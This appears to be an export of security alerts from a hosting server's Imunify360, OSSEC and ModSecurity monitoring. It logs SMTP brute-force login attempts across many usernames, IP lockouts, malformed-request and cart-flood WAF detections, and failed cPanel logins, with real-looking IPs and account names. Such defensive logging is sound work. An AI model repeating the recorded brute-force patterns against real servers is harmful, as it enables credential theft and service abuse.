2026-06-27 21:50:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:14238: 535 Incorrect authentication data (set_id=angelique@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:51:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10114: 535 Incorrect authentication data (set_id=145@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:50:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:50:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:31292: 535 Incorrect authentication data (set_id=customer@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.101.67
country_id: 3658394
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/css/fontawesome-all.css HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.243.243.92
country_id: 1210997
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets/images/background/pattern-6.png HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:50:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 85.208.115.188
country_id: 146669
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:85.208.115.188||TA:85.208.115.188||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:50:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.95.228
country_id: 690791
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/css/nice-select.css HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.95.168
country_id: 690791
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/css/bootstrap.min.css HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.228.38
country_id: 357994
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/css/animate.css HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 21:51:18 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.253.188
country_id: 2661886
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/css/jquery-ui.css HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:51:13 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.26.250
country_id: 3077311
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/css/flaticon.css HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.95.168
country_id: 690791
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/img/misc/ser3.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:51:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51100: 535 Incorrect authentication data (set_id=vsp@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:52:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:20238: 535 Incorrect authentication data (set_id=ruslan@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.253.188
country_id: 2661886
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets/images/background/1.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:52:25 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.95.228
country_id: 690791
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/img/misc/ab6.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:51:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:51:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50738: 535 Incorrect authentication data (set_id=valentin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:51:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:52:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:48086: 535 Incorrect authentication data (set_id=justme@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:52:07 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.101.67
country_id: 3658394
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/img/misc/ser1.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.26.250
country_id: 3077311
domain: bawasongroup.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.com:80/assets8/img/misc/ser2.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:53:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3186: 535 Incorrect authentication data (set_id=fheight@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:52:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15410: 535 Incorrect authentication data (set_id=lyncweb@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:53:28 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:52:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:53:09 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.133.187.11
country_id: 1861060
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1399||QS:add-to-cart=1399||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:53:06 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:53:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:24168: 535 Incorrect authentication data (set_id=merishow@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:53:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39416: 535 Incorrect authentication data (set_id=7455235@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:52:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:60660: 535 Incorrect authentication data (set_id=7455235@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:54:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:43870: 535 Incorrect authentication data (set_id=jjh@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:53:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:53:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:54:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:48078: 535 Incorrect authentication data (set_id=origin-www1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:54:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:53:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:32804: 535 Incorrect authentication data (set_id=st1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:53:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37230: 535 Incorrect authentication data (set_id=john@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:53:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:55:06 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:54:59 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.54.250.126
country_id: 2542007
description:
Jun 27 21:55:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.54.250.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:55:29 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:55:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45548: 535 Incorrect authentication data (set_id=flower@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:55:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.54.250.126
country_id: 2542007
description:
2026-06-27 21:55:02 dovecot_plain authenticator failed for H=(localhost) [102.54.250.126]:58502: 535 Incorrect authentication data (set_id=mesys@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:55:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20438: 535 Incorrect authentication data (set_id=marmot@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:55:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53762: 535 Incorrect authentication data (set_id=mmn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:55:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:16752: 535 Incorrect authentication data (set_id=zazaza@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:56:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:8700: 535 Incorrect authentication data (set_id=bloomberg@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:56:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25892: 535 Incorrect authentication data (set_id=pc8@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 21:56:34 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:55:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:56:12 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:56:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:29758: 535 Incorrect authentication data (set_id=traktor@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:56:25 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:56:07 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:56:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57310: 535 Incorrect authentication data (set_id=traktor@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:56:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:49272: 535 Incorrect authentication data (set_id=fund@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:57:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:17466: 535 Incorrect authentication data (set_id=guest123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:56:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:2096: 535 Incorrect authentication data (set_id=zhoubo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:57:04 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:57:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12998: 535 Incorrect authentication data (set_id=pierre@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:57:06 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:56:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:57:01 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:57:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33322: 535 Incorrect authentication data (set_id=werkstatt@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:57:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30882: 535 Incorrect authentication data (set_id=cyril@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:58:11 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.234.175.32
country_id: 6252001
description:
[2026-06-27 21:58:49 +0000] info [cpaneld] 54.234.175.32 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:58:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54216: 535 Incorrect authentication data (set_id=generals@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:58:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23062: 535 Incorrect authentication data (set_id=webhard@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.172.40.137
country_id: 2750405
description:
[2026-06-27 21:58:50 +0000] info [cpaneld] 167.172.40.137 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:57:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:58:01 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:58:02 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.215.183
country_id: 3175395
description:
[2026-06-27 21:58:45 +0000] info [cpaneld] 149.50.215.183 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:58:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:25622: 535 Incorrect authentication data (set_id=spinetail@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 21:59:02 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 21:59:21 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 21:59:22 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 21:59:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:26254: 535 Incorrect authentication data (set_id=usman@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:58:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63728: 535 Incorrect authentication data (set_id=minotaur@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 21:59:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:18514: 535 Incorrect authentication data (set_id=resort@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:59:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:6096: 535 Incorrect authentication data (set_id=monali@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:59:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 21:59:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42468: 535 Incorrect authentication data (set_id=monali@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.2.85.76
country_id: 1880251
description:
2026-06-27 21:59:30 dovecot_plain authenticator failed for H=(i3c6k5b0cjq20g6iqe7i3zh9zvalj1) [138.2.85.76]:57668: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 27 21:59:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 22:00:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:46702: 535 Incorrect authentication data (set_id=derick@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 22:00:09 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 21:59:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35888: 535 Incorrect authentication data (set_id=dpm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 22:00:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 22:00:06 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 22:00:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2336: 535 Incorrect authentication data (set_id=u50@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 22:00:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51292: 535 Incorrect authentication data (set_id=saba@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 22:00:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.133.246
country_id: 1269750
description:
Jun 27 22:01:08 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.133.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 22:00:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
